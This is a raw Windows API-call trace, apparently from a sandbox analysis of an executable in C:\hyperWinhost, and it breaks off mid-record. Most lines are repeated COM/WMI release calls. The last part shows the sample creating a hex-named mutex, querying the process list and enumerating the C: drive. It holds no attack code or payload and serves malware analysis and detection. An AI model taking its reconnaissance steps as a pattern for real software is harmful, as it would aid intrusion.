CoGetContextToken (in: pToken=0x135ef70 | out: pToken=0x135ef70) returned 0x0 [0094.164] WbemDefPath:IUnknown:Release (This=0x119bea0) returned 0x1 [0094.164] WbemDefPath:IUnknown:Release (This=0x119bea0) returned 0x0 [0094.164] CoGetContextToken (in: pToken=0x135ef70 | out: pToken=0x135ef70) returned 0x0 [0094.165] WbemDefPath:IUnknown:Release (This=0x1bf3b1c0) returned 0x1 [0094.165] WbemDefPath:IUnknown:Release (This=0x1bf3b1c0) returned 0x0 [0094.165] CoGetContextToken (in: pToken=0x135ef70 | out: pToken=0x135ef70) returned 0x0 [0094.165] WbemDefPath:IUnknown:Release (This=0x1bea09b0) returned 0x1 [0094.165] WbemDefPath:IUnknown:Release (This=0x1bea09b0) returned 0x0 [0094.165] CoGetContextToken (in: pToken=0x135ef70 | out: pToken=0x135ef70) returned 0x0 [0094.165] WbemDefPath:IUnknown:Release (This=0x1bf3c6c0) returned 0x1 [0094.165] WbemDefPath:IUnknown:Release (This=0x1bf3c6c0) returned 0x0 [0094.165] CoGetContextToken (in: pToken=0x135ef70 | out: pToken=0x135ef70) returned 0x0 [0094.165] WbemDefPath:IUnknown:Release (This=0x1bf6fce0) returned 0x1 [0094.165] WbemDefPath:IUnknown:Release (This=0x1bf6fce0) returned 0x0 [0094.165] CoGetContextToken (in: pToken=0x135ef70 | out: pToken=0x135ef70) returned 0x0 [0094.165] WbemDefPath:IUnknown:Release (This=0x119b7e0) returned 0x1 [0094.165] WbemDefPath:IUnknown:Release (This=0x119b7e0) returned 0x0 [0094.165] CoGetContextToken (in: pToken=0x135ef70 | out: pToken=0x135ef70) returned 0x0 [0094.165] WbemDefPath:IUnknown:Release (This=0x1169e00) returned 0x1 [0094.165] WbemDefPath:IUnknown:Release (This=0x1169e00) returned 0x0 [0094.166] CoGetContextToken (in: pToken=0x135ef70 | out: pToken=0x135ef70) returned 0x0 [0094.166] WbemDefPath:IUnknown:Release (This=0x1c02fdb0) returned 0x1 [0094.166] WbemDefPath:IUnknown:Release (This=0x1c02fdb0) returned 0x0 [0094.166] CoGetContextToken (in: pToken=0x135ef70 | out: pToken=0x135ef70) returned 0x0 [0094.166] WbemDefPath:IUnknown:Release (This=0x1bf3b4c0) returned 0x1 [0094.166] WbemDefPath:IUnknown:Release (This=0x1bf3b4c0) returned 0x0 [0094.166] CoGetContextToken (in: pToken=0x135ef70 | out: pToken=0x135ef70) returned 0x0 [0094.166] WbemDefPath:IUnknown:Release (This=0x1168c00) returned 0x1 [0094.166] WbemDefPath:IUnknown:Release (This=0x1168c00) returned 0x0 [0094.166] CoGetContextToken (in: pToken=0x135ef70 | out: pToken=0x135ef70) returned 0x0 [0094.166] WbemDefPath:IUnknown:Release (This=0x1c02ebb0) returned 0x1 [0094.166] WbemDefPath:IUnknown:Release (This=0x1c02ebb0) returned 0x0 [0094.166] CoGetContextToken (in: pToken=0x135ef70 | out: pToken=0x135ef70) returned 0x0 [0094.166] WbemDefPath:IUnknown:Release (This=0x119bae0) returned 0x1 [0094.166] WbemDefPath:IUnknown:Release (This=0x119bae0) returned 0x0 [0094.166] CoGetContextToken (in: pToken=0x135ef70 | out: pToken=0x135ef70) returned 0x0 [0094.167] WbemDefPath:IUnknown:Release (This=0x1c030170) returned 0x1 [0094.167] WbemDefPath:IUnknown:Release (This=0x1c030170) returned 0x0 [0094.167] CoGetContextToken (in: pToken=0x135ef70 | out: pToken=0x135ef70) returned 0x0 [0094.167] WbemDefPath:IUnknown:Release (This=0x1bf3c300) returned 0x1 [0094.167] WbemDefPath:IUnknown:Release (This=0x1bf3c300) returned 0x0 [0094.167] CoGetContextToken (in: pToken=0x135ef70 | out: pToken=0x135ef70) returned 0x0 [0094.167] WbemDefPath:IUnknown:Release (This=0x1bea17f0) returned 0x1 [0094.167] WbemDefPath:IUnknown:Release (This=0x1bea17f0) returned 0x0 [0094.167] CoGetContextToken (in: pToken=0x135ef70 | out: pToken=0x135ef70) returned 0x0 [0094.167] WbemDefPath:IUnknown:Release (This=0x1c02f9f0) returned 0x1 [0094.167] WbemDefPath:IUnknown:Release (This=0x1c02f9f0) returned 0x0 [0094.167] CoGetContextToken (in: pToken=0x135ef70 | out: pToken=0x135ef70) returned 0x0 [0094.167] WbemDefPath:IUnknown:Release (This=0x1bf3b100) returned 0x1 [0094.167] WbemDefPath:IUnknown:Release (This=0x1bf3b100) returned 0x0 [0094.167] CoGetContextToken (in: pToken=0x135ef70 | out: pToken=0x135ef70) returned 0x0 [0094.167] WbemDefPath:IUnknown:Release (This=0x1bf3b700) returned 0x1 [0094.167] WbemDefPath:IUnknown:Release (This=0x1bf3b700) returned 0x0 [0094.168] CoGetContextToken (in: pToken=0x135ef70 | out: pToken=0x135ef70) returned 0x0 [0094.168] WbemDefPath:IUnknown:Release (This=0x1bea0ef0) returned 0x1 [0094.168] WbemDefPath:IUnknown:Release (This=0x1bea0ef0) returned 0x0 [0094.168] CoGetContextToken (in: pToken=0x135ef70 | out: pToken=0x135ef70) returned 0x0 [0094.168] WbemDefPath:IUnknown:Release (This=0x1c02e7f0) returned 0x1 [0094.168] WbemDefPath:IUnknown:Release (This=0x1c02e7f0) returned 0x0 [0094.168] CoGetContextToken (in: pToken=0x135ef70 | out: pToken=0x135ef70) returned 0x0 [0094.168] WbemDefPath:IUnknown:Release (This=0x119b720) returned 0x1 [0094.168] WbemDefPath:IUnknown:Release (This=0x119b720) returned 0x0 [0094.168] CoGetContextToken (in: pToken=0x135ef70 | out: pToken=0x135ef70) returned 0x0 [0094.168] WbemDefPath:IUnknown:Release (This=0x1bf3ae00) returned 0x1 [0094.168] WbemDefPath:IUnknown:Release (This=0x1bf3ae00) returned 0x0 [0094.168] CoGetContextToken (in: pToken=0x135ef70 | out: pToken=0x135ef70) returned 0x0 [0094.168] WbemDefPath:IUnknown:Release (This=0x1bea05f0) returned 0x1 [0094.168] WbemDefPath:IUnknown:Release (This=0x1bea05f0) returned 0x0 [0094.168] CoGetContextToken (in: pToken=0x135ef70 | out: pToken=0x135ef70) returned 0x0 [0094.168] WbemDefPath:IUnknown:Release (This=0x1bfbc840) returned 0x1 [0094.168] WbemDefPath:IUnknown:Release (This=0x1bfbc840) returned 0x0 [0094.168] CoGetContextToken (in: pToken=0x135ef70 | out: pToken=0x135ef70) returned 0x0 [0094.168] WbemDefPath:IUnknown:Release (This=0x1bf3bf40) returned 0x1 [0094.168] WbemDefPath:IUnknown:Release (This=0x1bf3bf40) returned 0x0 [0094.168] CoGetContextToken (in: pToken=0x135ef70 | out: pToken=0x135ef70) returned 0x0 [0094.169] WbemDefPath:IUnknown:Release (This=0x1bf6f920) returned 0x1 [0094.169] WbemDefPath:IUnknown:Release (This=0x1bf6f920) returned 0x0 [0094.169] CoGetContextToken (in: pToken=0x135ef70 | out: pToken=0x135ef70) returned 0x0 [0094.169] WbemDefPath:IUnknown:Release (This=0x1c02f630) returned 0x1 [0094.169] WbemDefPath:IUnknown:Release (This=0x1c02f630) returned 0x0 [0094.169] CoGetContextToken (in: pToken=0x135ef70 | out: pToken=0x135ef70) returned 0x0 [0094.169] WbemDefPath:IUnknown:Release (This=0x1bf3ad40) returned 0x1 [0094.169] WbemDefPath:IUnknown:Release (This=0x1bf3ad40) returned 0x0 [0094.169] CoGetContextToken (in: pToken=0x135ef70 | out: pToken=0x135ef70) returned 0x0 [0094.169] WbemDefPath:IUnknown:Release (This=0x1bf703a0) returned 0x1 [0094.169] WbemDefPath:IUnknown:Release (This=0x1bf703a0) returned 0x0 [0094.169] CoGetContextToken (in: pToken=0x135ef70 | out: pToken=0x135ef70) returned 0x0 [0094.169] WbemDefPath:IUnknown:Release (This=0x119b360) returned 0x1 [0094.169] WbemDefPath:IUnknown:Release (This=0x119b360) returned 0x0 [0094.169] CoGetContextToken (in: pToken=0x135ef70 | out: pToken=0x135ef70) returned 0x0 [0094.169] WbemDefPath:IUnknown:Release (This=0x1bea1d30) returned 0x1 [0094.169] WbemDefPath:IUnknown:Release (This=0x1bea1d30) returned 0x0 [0094.169] CoGetContextToken (in: pToken=0x135ef70 | out: pToken=0x135ef70) returned 0x0 [0094.169] WbemDefPath:IUnknown:Release (This=0x1bfbc480) returned 0x1 [0094.169] WbemDefPath:IUnknown:Release (This=0x1bfbc480) returned 0x0 [0094.169] CoGetContextToken (in: pToken=0x135ef70 | out: pToken=0x135ef70) returned 0x0 [0094.169] WbemDefPath:IUnknown:Release (This=0x1c030470) returned 0x1 [0094.169] WbemDefPath:IUnknown:Release (This=0x1c030470) returned 0x0 [0094.169] CoGetContextToken (in: pToken=0x135ef70 | out: pToken=0x135ef70) returned 0x0 [0094.169] WbemDefPath:IUnknown:Release (This=0x1bf3bc40) returned 0x1 [0094.170] WbemDefPath:IUnknown:Release (This=0x1bf3bc40) returned 0x0 [0094.170] CoGetContextToken (in: pToken=0x135ef70 | out: pToken=0x135ef70) returned 0x0 [0094.170] WbemDefPath:IUnknown:Release (This=0x1bea1430) returned 0x1 [0094.170] WbemDefPath:IUnknown:Release (This=0x1bea1430) returned 0x0 [0094.170] CoGetContextToken (in: pToken=0x135ef70 | out: pToken=0x135ef70) returned 0x0 [0094.170] WbemDefPath:IUnknown:Release (This=0x1c02f270) returned 0x1 [0094.170] WbemDefPath:IUnknown:Release (This=0x1c02f270) returned 0x0 [0094.170] CoGetContextToken (in: pToken=0x135ef70 | out: pToken=0x135ef70) returned 0x0 [0094.170] WbemDefPath:IUnknown:Release (This=0x1bf3a980) returned 0x1 [0094.170] WbemDefPath:IUnknown:Release (This=0x1bf3a980) returned 0x0 [0094.170] CoGetContextToken (in: pToken=0x135ef70 | out: pToken=0x135ef70) returned 0x0 [0094.170] WbemDefPath:IUnknown:Release (This=0x119c1a0) returned 0x1 [0094.170] WbemDefPath:IUnknown:Release (This=0x119c1a0) returned 0x0 [0094.170] CoGetContextToken (in: pToken=0x135ef70 | out: pToken=0x135ef70) returned 0x0 [0094.170] WbemDefPath:IUnknown:Release (This=0x119c260) returned 0x1 [0094.170] WbemDefPath:IUnknown:Release (This=0x119c260) returned 0x0 [0094.170] CoGetContextToken (in: pToken=0x135ef70 | out: pToken=0x135ef70) returned 0x0 [0094.170] WbemDefPath:IUnknown:Release (This=0x1bea0b30) returned 0x1 [0094.170] WbemDefPath:IUnknown:Release (This=0x1bea0b30) returned 0x0 [0094.170] CoGetContextToken (in: pToken=0x135ef70 | out: pToken=0x135ef70) returned 0x0 [0094.170] WbemDefPath:IUnknown:Release (This=0x1c0300b0) returned 0x1 [0094.170] WbemDefPath:IUnknown:Release (This=0x1c0300b0) returned 0x0 [0094.170] CoGetContextToken (in: pToken=0x135ef70 | out: pToken=0x135ef70) returned 0x0 [0094.170] WbemDefPath:IUnknown:Release (This=0x1bea11f0) returned 0x1 [0094.170] WbemDefPath:IUnknown:Release (This=0x1bea11f0) returned 0x0 [0094.170] CoGetContextToken (in: pToken=0x135ef70 | out: pToken=0x135ef70) returned 0x0 [0094.170] WbemDefPath:IUnknown:Release (This=0x1c02eeb0) returned 0x1 [0094.170] WbemDefPath:IUnknown:Release (This=0x1c02eeb0) returned 0x0 [0094.170] CoGetContextToken (in: pToken=0x135ef70 | out: pToken=0x135ef70) returned 0x0 [0094.171] WbemDefPath:IUnknown:Release (This=0x119bde0) returned 0x1 [0094.171] WbemDefPath:IUnknown:Release (This=0x119bde0) returned 0x0 [0094.171] CoGetContextToken (in: pToken=0x135ef70 | out: pToken=0x135ef70) returned 0x0 [0094.171] WbemDefPath:IUnknown:Release (This=0x1c0302f0) returned 0x1 [0094.171] WbemDefPath:IUnknown:Release (This=0x1c0302f0) returned 0x0 [0094.171] CoGetContextToken (in: pToken=0x135ef70 | out: pToken=0x135ef70) returned 0x0 [0094.171] WbemDefPath:IUnknown:Release (This=0x119abe0) returned 0x1 [0094.171] WbemDefPath:IUnknown:Release (This=0x119abe0) returned 0x0 [0094.171] CoGetContextToken (in: pToken=0x135ef70 | out: pToken=0x135ef70) returned 0x0 [0094.171] WbemDefPath:IUnknown:Release (This=0x1bea1970) returned 0x1 [0094.171] WbemDefPath:IUnknown:Release (This=0x1bea1970) returned 0x0 [0094.171] CoGetContextToken (in: pToken=0x135ef70 | out: pToken=0x135ef70) returned 0x0 [0094.171] WbemDefPath:IUnknown:Release (This=0x1c02fcf0) returned 0x1 [0094.171] WbemDefPath:IUnknown:Release (This=0x1c02fcf0) returned 0x0 [0094.171] CoGetContextToken (in: pToken=0x135ef70 | out: pToken=0x135ef70) returned 0x0 [0094.171] WbemDefPath:IUnknown:Release (This=0x1bea0e30) returned 0x1 [0094.171] WbemDefPath:IUnknown:Release (This=0x1bea0e30) returned 0x0 [0094.171] CoGetContextToken (in: pToken=0x135ef70 | out: pToken=0x135ef70) returned 0x0 [0094.171] WbemDefPath:IUnknown:Release (This=0x1bea1070) returned 0x1 [0094.171] WbemDefPath:IUnknown:Release (This=0x1bea1070) returned 0x0 [0094.171] CoGetContextToken (in: pToken=0x135ef70 | out: pToken=0x135ef70) returned 0x0 [0094.171] WbemDefPath:IUnknown:Release (This=0x1c02eaf0) returned 0x1 [0094.171] WbemDefPath:IUnknown:Release (This=0x1c02eaf0) returned 0x0 [0094.171] CoGetContextToken (in: pToken=0x135ef70 | out: pToken=0x135ef70) returned 0x0 [0094.171] WbemDefPath:IUnknown:Release (This=0x119ba20) returned 0x1 [0094.171] WbemDefPath:IUnknown:Release (This=0x119ba20) returned 0x0 [0094.171] CoGetContextToken (in: pToken=0x135ef70 | out: pToken=0x135ef70) returned 0x0 [0094.171] WbemDefPath:IUnknown:Release (This=0x1bf3b400) returned 0x1 [0094.171] WbemDefPath:IUnknown:Release (This=0x1bf3b400) returned 0x0 [0094.171] CoGetContextToken (in: pToken=0x135ef70 | out: pToken=0x135ef70) returned 0x0 [0094.171] WbemDefPath:IUnknown:Release (This=0x1bea0770) returned 0x1 [0094.172] WbemDefPath:IUnknown:Release (This=0x1bea0770) returned 0x0 [0094.172] CoGetContextToken (in: pToken=0x135ef70 | out: pToken=0x135ef70) returned 0x0 [0094.172] WbemDefPath:IUnknown:Release (This=0x1bea1c70) returned 0x1 [0094.172] WbemDefPath:IUnknown:Release (This=0x1bea1c70) returned 0x0 [0094.172] CoGetContextToken (in: pToken=0x135ef70 | out: pToken=0x135ef70) returned 0x0 [0094.172] WbemDefPath:IUnknown:Release (This=0x1c02f930) returned 0x1 [0094.172] WbemDefPath:IUnknown:Release (This=0x1c02f930) returned 0x0 [0094.172] CoGetContextToken (in: pToken=0x135ef70 | out: pToken=0x135ef70) returned 0x0 [0094.172] WbemDefPath:IUnknown:Release (This=0x1bf3b040) returned 0x1 [0094.172] WbemDefPath:IUnknown:Release (This=0x1bf3b040) returned 0x0 [0094.172] CoGetContextToken (in: pToken=0x135ef70 | out: pToken=0x135ef70) returned 0x0 [0094.172] WbemDefPath:IUnknown:Release (This=0x1c02e730) returned 0x1 [0094.172] WbemDefPath:IUnknown:Release (This=0x1c02e730) returned 0x0 [0094.172] CoGetContextToken (in: pToken=0x135ef70 | out: pToken=0x135ef70) returned 0x0 [0094.172] WbemDefPath:IUnknown:Release (This=0x119b660) returned 0x1 [0094.172] WbemDefPath:IUnknown:Release (This=0x119b660) returned 0x0 [0094.172] CoGetContextToken (in: pToken=0x135ef70 | out: pToken=0x135ef70) returned 0x0 [0094.172] WbemDefPath:IUnknown:Release (This=0x116a7c0) returned 0x1 [0094.172] WbemDefPath:IUnknown:Release (This=0x116a7c0) returned 0x0 [0094.172] CoGetContextToken (in: pToken=0x135ef70 | out: pToken=0x135ef70) returned 0x0 [0094.172] WbemDefPath:IUnknown:Release (This=0x1bf3be80) returned 0x1 [0094.172] WbemDefPath:IUnknown:Release (This=0x1bf3be80) returned 0x0 [0094.172] CoGetContextToken (in: pToken=0x135ef70 | out: pToken=0x135ef70) returned 0x0 [0094.172] WbemDefPath:IUnknown:Release (This=0x1bea15b0) returned 0x1 [0094.172] WbemDefPath:IUnknown:Release (This=0x1bea15b0) returned 0x0 [0094.172] CoGetContextToken (in: pToken=0x135ef70 | out: pToken=0x135ef70) returned 0x0 [0094.172] WbemDefPath:IUnknown:Release (This=0x1c02f570) returned 0x1 [0094.172] WbemDefPath:IUnknown:Release (This=0x1c02f570) returned 0x0 [0094.173] CoGetContextToken (in: pToken=0x135ef70 | out: pToken=0x135ef70) returned 0x0 [0094.173] WbemDefPath:IUnknown:Release (This=0x1bf3ac80) returned 0x1 [0094.173] WbemDefPath:IUnknown:Release (This=0x1bf3ac80) returned 0x0 [0094.173] CoGetContextToken (in: pToken=0x135ef70 | out: pToken=0x135ef70) returned 0x0 [0094.173] WbemDefPath:IUnknown:Release (This=0x119c4a0) returned 0x1 [0094.173] WbemDefPath:IUnknown:Release (This=0x119c4a0) returned 0x0 [0094.173] CoGetContextToken (in: pToken=0x135ef70 | out: pToken=0x135ef70) returned 0x0 [0094.173] WbemDefPath:IUnknown:Release (This=0x1bea0cb0) returned 0x1 [0094.173] WbemDefPath:IUnknown:Release (This=0x1bea0cb0) returned 0x0 [0094.173] CoGetContextToken (in: pToken=0x135ef70 | out: pToken=0x135ef70) returned 0x0 [0094.173] WbemDefPath:IUnknown:Release (This=0x1bf6f0e0) returned 0x1 [0094.173] WbemDefPath:IUnknown:Release (This=0x1bf6f0e0) returned 0x0 [0094.173] CoGetContextToken (in: pToken=0x135ef70 | out: pToken=0x135ef70) returned 0x0 [0094.173] WbemDefPath:IUnknown:Release (This=0x1bea03b0) returned 0x1 [0094.173] WbemDefPath:IUnknown:Release (This=0x1bea03b0) returned 0x0 [0094.173] CoGetContextToken (in: pToken=0x135ef70 | out: pToken=0x135ef70) returned 0x0 [0094.173] WbemDefPath:IUnknown:Release (This=0x1c0303b0) returned 0x1 [0094.173] WbemDefPath:IUnknown:Release (This=0x1c0303b0) returned 0x0 [0094.173] CoGetContextToken (in: pToken=0x135ef70 | out: pToken=0x135ef70) returned 0x0 [0094.173] WbemDefPath:IUnknown:Release (This=0x1bf3bac0) returned 0x1 [0094.173] WbemDefPath:IUnknown:Release (This=0x1bf3bac0) returned 0x0 [0094.173] CoGetContextToken (in: pToken=0x135ef70 | out: pToken=0x135ef70) returned 0x0 [0094.173] WbemDefPath:IUnknown:Release (This=0x1169200) returned 0x1 [0094.173] WbemDefPath:IUnknown:Release (This=0x1169200) returned 0x0 [0094.173] CoGetContextToken (in: pToken=0x135ef70 | out: pToken=0x135ef70) returned 0x0 [0094.173] WbemDefPath:IUnknown:Release (This=0x1c02f1b0) returned 0x1 [0094.173] WbemDefPath:IUnknown:Release (This=0x1c02f1b0) returned 0x0 [0094.173] CoGetContextToken (in: pToken=0x135ef70 | out: pToken=0x135ef70) returned 0x0 [0094.173] WbemDefPath:IUnknown:Release (This=0x1bf3a8c0) returned 0x1 [0094.174] WbemDefPath:IUnknown:Release (This=0x1bf3a8c0) returned 0x0 [0094.174] CoGetContextToken (in: pToken=0x135ef70 | out: pToken=0x135ef70) returned 0x0 [0094.174] WbemDefPath:IUnknown:Release (This=0x119c0e0) returned 0x1 [0094.174] WbemDefPath:IUnknown:Release (This=0x119c0e0) returned 0x0 [0094.174] CoGetContextToken (in: pToken=0x135ef70 | out: pToken=0x135ef70) returned 0x0 [0094.174] WbemDefPath:IUnknown:Release (This=0x1bea1af0) returned 0x1 [0094.174] WbemDefPath:IUnknown:Release (This=0x1bea1af0) returned 0x0 [0094.174] CoGetContextToken (in: pToken=0x135ef70 | out: pToken=0x135ef70) returned 0x0 [0094.174] WbemDefPath:IUnknown:Release (This=0x1bfbc000) returned 0x1 [0094.174] WbemDefPath:IUnknown:Release (This=0x1bfbc000) returned 0x0 [0094.174] CoGetContextToken (in: pToken=0x135ef70 | out: pToken=0x135ef70) returned 0x0 [0094.174] WbemDefPath:IUnknown:Release (This=0x1c02fff0) returned 0x1 [0094.174] WbemDefPath:IUnknown:Release (This=0x1c02fff0) returned 0x0 [0094.174] CoGetContextToken (in: pToken=0x135ef70 | out: pToken=0x135ef70) returned 0x0 [0094.174] WbemDefPath:IUnknown:Release (This=0x1bf3ba00) returned 0x1 [0094.174] WbemDefPath:IUnknown:Release (This=0x1bf3ba00) returned 0x0 [0094.174] CoGetContextToken (in: pToken=0x135ef70 | out: pToken=0x135ef70) returned 0x0 [0094.174] WbemDefPath:IUnknown:Release (This=0x1c02edf0) returned 0x1 [0094.174] WbemDefPath:IUnknown:Release (This=0x1c02edf0) returned 0x0 [0094.174] CoGetContextToken (in: pToken=0x135ef70 | out: pToken=0x135ef70) returned 0x0 [0094.174] WbemDefPath:IUnknown:Release (This=0x119bd20) returned 0x1 [0094.174] WbemDefPath:IUnknown:Release (This=0x119bd20) returned 0x0 [0094.174] CoGetContextToken (in: pToken=0x135ef70 | out: pToken=0x135ef70) returned 0x0 [0094.174] WbemDefPath:IUnknown:Release (This=0x1bea08f0) returned 0x1 [0094.174] WbemDefPath:IUnknown:Release (This=0x1bea08f0) returned 0x0 [0094.174] CoGetContextToken (in: pToken=0x135ef70 | out: pToken=0x135ef70) returned 0x0 [0094.174] WbemDefPath:IUnknown:Release (This=0x1bf3c540) returned 0x1 [0094.174] WbemDefPath:IUnknown:Release (This=0x1bf3c540) returned 0x0 [0094.175] CoGetContextToken (in: pToken=0x135ef70 | out: pToken=0x135ef70) returned 0x0 [0094.175] WbemDefPath:IUnknown:Release (This=0x1bf3a800) returned 0x1 [0094.175] WbemDefPath:IUnknown:Release (This=0x1bf3a800) returned 0x0 [0094.175] CoGetContextToken (in: pToken=0x135ef70 | out: pToken=0x135ef70) returned 0x0 [0094.175] WbemDefPath:IUnknown:Release (This=0x1bfbbc40) returned 0x1 [0094.175] WbemDefPath:IUnknown:Release (This=0x1bfbbc40) returned 0x0 [0094.175] CoGetContextToken (in: pToken=0x135ef70 | out: pToken=0x135ef70) returned 0x0 [0094.175] WbemDefPath:IUnknown:Release (This=0x1bf3b340) returned 0x1 [0094.175] WbemDefPath:IUnknown:Release (This=0x1bf3b340) returned 0x0 [0094.175] CoGetContextToken (in: pToken=0x135ef70 | out: pToken=0x135ef70) returned 0x0 [0094.175] WbemDefPath:IUnknown:Release (This=0x1c02ea30) returned 0x1 [0094.175] WbemDefPath:IUnknown:Release (This=0x1c02ea30) returned 0x0 [0094.175] CoGetContextToken (in: pToken=0x135ef70 | out: pToken=0x135ef70) returned 0x0 [0094.175] WbemDefPath:IUnknown:Release (This=0x119b960) returned 0x1 [0094.175] WbemDefPath:IUnknown:Release (This=0x119b960) returned 0x0 [0094.175] CoGetContextToken (in: pToken=0x135ef70 | out: pToken=0x135ef70) returned 0x0 [0094.175] WbemDefPath:IUnknown:Release (This=0x1bf3c180) returned 0x1 [0094.175] WbemDefPath:IUnknown:Release (This=0x1bf3c180) returned 0x0 [0094.175] CoGetContextToken (in: pToken=0x135ef70 | out: pToken=0x135ef70) returned 0x0 [0094.175] WbemDefPath:IUnknown:Release (This=0x11698c0) returned 0x1 [0094.175] WbemDefPath:IUnknown:Release (This=0x11698c0) returned 0x0 [0094.175] CoGetContextToken (in: pToken=0x135ef70 | out: pToken=0x135ef70) returned 0x0 [0094.175] WbemDefPath:IUnknown:Release (This=0x1c02f870) returned 0x1 [0094.175] WbemDefPath:IUnknown:Release (This=0x1c02f870) returned 0x0 [0094.175] CoGetContextToken (in: pToken=0x135ef70 | out: pToken=0x135ef70) returned 0x0 [0094.175] WbemDefPath:IUnknown:Release (This=0x1bf3af80) returned 0x1 [0094.175] WbemDefPath:IUnknown:Release (This=0x1bf3af80) returned 0x0 [0094.175] CoGetContextToken (in: pToken=0x135ef70 | out: pToken=0x135ef70) returned 0x0 [0094.176] WbemDefPath:IUnknown:Release (This=0x1bfbd8c0) returned 0x1 [0094.176] WbemDefPath:IUnknown:Release (This=0x1bfbd8c0) returned 0x0 [0094.176] CoGetContextToken (in: pToken=0x135ef70 | out: pToken=0x135ef70) returned 0x0 [0094.176] WbemDefPath:IUnknown:Release (This=0x119b5a0) returned 0x1 [0094.176] WbemDefPath:IUnknown:Release (This=0x119b5a0) returned 0x0 [0094.176] CoGetContextToken (in: pToken=0x135ef70 | out: pToken=0x135ef70) returned 0x0 [0094.176] WbemDefPath:IUnknown:Release (This=0x1bea0530) returned 0x1 [0094.176] WbemDefPath:IUnknown:Release (This=0x1bea0530) returned 0x0 [0094.176] CoGetContextToken (in: pToken=0x135ef70 | out: pToken=0x135ef70) returned 0x0 [0094.176] WbemDefPath:IUnknown:Release (This=0x1bf3bdc0) returned 0x1 [0094.176] WbemDefPath:IUnknown:Release (This=0x1bf3bdc0) returned 0x0 [0094.176] CoGetContextToken (in: pToken=0x135ef70 | out: pToken=0x135ef70) returned 0x0 [0094.176] WbemDefPath:IUnknown:Release (This=0x1c02f4b0) returned 0x1 [0094.176] WbemDefPath:IUnknown:Release (This=0x1c02f4b0) returned 0x0 [0094.176] CoGetContextToken (in: pToken=0x135ef70 | out: pToken=0x135ef70) returned 0x0 [0094.176] WbemDefPath:IUnknown:Release (This=0x1bf3abc0) returned 0x1 [0094.176] WbemDefPath:IUnknown:Release (This=0x1bf3abc0) returned 0x0 [0094.176] CoGetContextToken (in: pToken=0x135ef70 | out: pToken=0x135ef70) returned 0x0 [0094.176] WbemDefPath:IUnknown:Release (This=0x119c3e0) returned 0x1 [0094.176] WbemDefPath:IUnknown:Release (This=0x119c3e0) returned 0x0 [0094.176] CoGetContextToken (in: pToken=0x135ef70 | out: pToken=0x135ef70) returned 0x0 [0094.176] WbemDefPath:IUnknown:Release (This=0x1bfbd500) returned 0x1 [0094.176] WbemDefPath:IUnknown:Release (This=0x1bfbd500) returned 0x0 [0094.176] CoGetContextToken (in: pToken=0x135ef70 | out: pToken=0x135ef70) returned 0x0 [0094.176] WbemDefPath:IUnknown:Release (This=0x1bf3c480) returned 0x1 [0094.176] WbemDefPath:IUnknown:Release (This=0x1bf3c480) returned 0x0 [0094.176] CoGetContextToken (in: pToken=0x135ef70 | out: pToken=0x135ef70) returned 0x0 [0094.176] WbemDefPath:IUnknown:Release (This=0x119b1e0) returned 0x1 [0094.177] CoGetContextToken (in: pToken=0x135ef70 | out: pToken=0x135ef70) returned 0x0 Thread: id = 19 os_tid = 0xe98 Thread: id = 20 os_tid = 0xe9c [0047.990] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0047.992] CoGetContextToken (in: pToken=0x1b2ffc00 | out: pToken=0x1b2ffc00) returned 0x0 [0047.992] CObjectContext::QueryInterface () returned 0x0 [0047.992] CObjectContext::GetCurrentThreadType () returned 0x0 [0047.992] Release () returned 0x0 [0047.992] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x1 [0047.993] CoUninitialize () [0048.829] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\.NETFramework\\AppContext", ulOptions=0x0, samDesired=0x20019, phkResult=0x1b2fe038 | out: phkResult=0x1b2fe038*=0x0) returned 0x2 [0048.829] RegCloseKey (hKey=0xffffffff80000002) returned 0x0 [0048.835] GetFullPathNameW (in: lpFileName="C:\\hyperWinhost\\blockcontainerProvider.exe", nBufferLength=0x105, lpBuffer=0x1b2feb70, lpFilePart=0x0 | out: lpBuffer="C:\\hyperWinhost\\blockcontainerProvider.exe", lpFilePart=0x0) returned 0x2a [0053.748] OpenMutexW (dwDesiredAccess=0x100001, bInheritHandle=0, lpName="75f52185d2be5b258078466c8c05d43b3f8abfa1") returned 0x0 [0053.771] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=1, lpName="Local\\75f52185d2be5b258078466c8c05d43b3f8abfa1") returned 0x24 [0054.487] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x128a1a50, Length=0x20000, ResultLength=0x1b2fd570 | out: SystemInformation=0x128a1a50, ResultLength=0x1b2fd570*=0x11ff0) returned 0x0 [0054.705] GetFullPathNameW (in: lpFileName="C:\\hyperWinhost\\5c60998e5146e0", nBufferLength=0x105, lpBuffer=0x1b2fe2c0, lpFilePart=0x0 | out: lpBuffer="C:\\hyperWinhost\\5c60998e5146e0", lpFilePart=0x0) returned 0x1e [0054.705] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1b2fe4d8) returned 1 [0054.705] GetFileAttributesExW (in: lpFileName="C:\\hyperWinhost\\5c60998e5146e0" (normalized: "c:\\hyperwinhost\\5c60998e5146e0"), fInfoLevelId=0x0, lpFileInformation=0x1b2fe800 | out: lpFileInformation=0x1b2fe800*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0054.705] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b2fe488) returned 1 [0055.077] CoTaskMemAlloc (cb=0x20c) returned 0x1163ba0 [0055.077] GetSystemDirectoryW (in: lpBuffer=0x1163ba0, uSize=0x104 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0055.077] CoTaskMemFree (pv=0x1163ba0) [0055.193] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1b2fde38) returned 1 [0055.194] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x1b2fd8e0, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0055.196] FindFirstFileW (in: lpFileName="C:\\*" (normalized: "c:\\*"), lpFindFileData=0x1b2fdbe0 | out: lpFindFileData=0x1b2fdbe0*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, 